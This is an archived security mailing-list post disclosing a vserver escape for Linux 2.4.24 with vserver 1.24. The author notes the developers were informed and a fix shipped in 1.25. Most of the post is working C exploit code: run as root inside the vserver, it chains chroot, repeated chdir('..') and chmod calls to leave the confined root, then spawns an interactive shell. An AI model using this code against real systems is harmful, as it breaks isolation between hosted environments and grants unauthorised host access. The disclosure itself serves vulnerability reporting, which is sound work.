Linux 2.4.24 with vserver 1.24 exploit

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Hi securityfocus,

a small exploit from me which brakes out of a vserver, also if secured with "chmod 000 /vservers". It is a modification of the known "chroot-again" exploit. It belongs to chroots but also to the vserver project. Tested with linux 2.4.24 and vserver 1.24. The bug was posted to the developers, and in the today released version 1.25 it seems to be fixed.

/* vserver@deadbeef.de modified the chroot-again exploit */
/* to work on vservers with "chmod 000 /vservers" */

/* Run this code in a vserver as root */
/* Tested with 2.4.24 and vserver 1.24 */

#include <sys/types.h>
#include <sys/stat.h>

main()
{
int i;

if (chdir("/") != 0) {
  perror("cd /"); exit(1);
}
if (mkdir("baz", 0777) != 0) {
  perror("mkdir baz");
}
if (chroot("baz") != 0) {
  perror("chroot baz"); exit(1);
}

for (i=0; i<50; i++) {
   if (chdir("..") != 0) {
      perror("cd .."); /* exit(1); */
   }
   if (chmod("..", S_IXOTH) != 0) {
      perror("chmod"); /* exit(1); */
   }
}
if (chroot(".") != 0) {
  perror("chroot ."); exit(1);
}
printf("Exploit seems to work. =)\n");
execl("/bin/sh", "sh", "-i", (char *)0);
perror("exec sh");
exit(0);
}

The developers have been noticed.
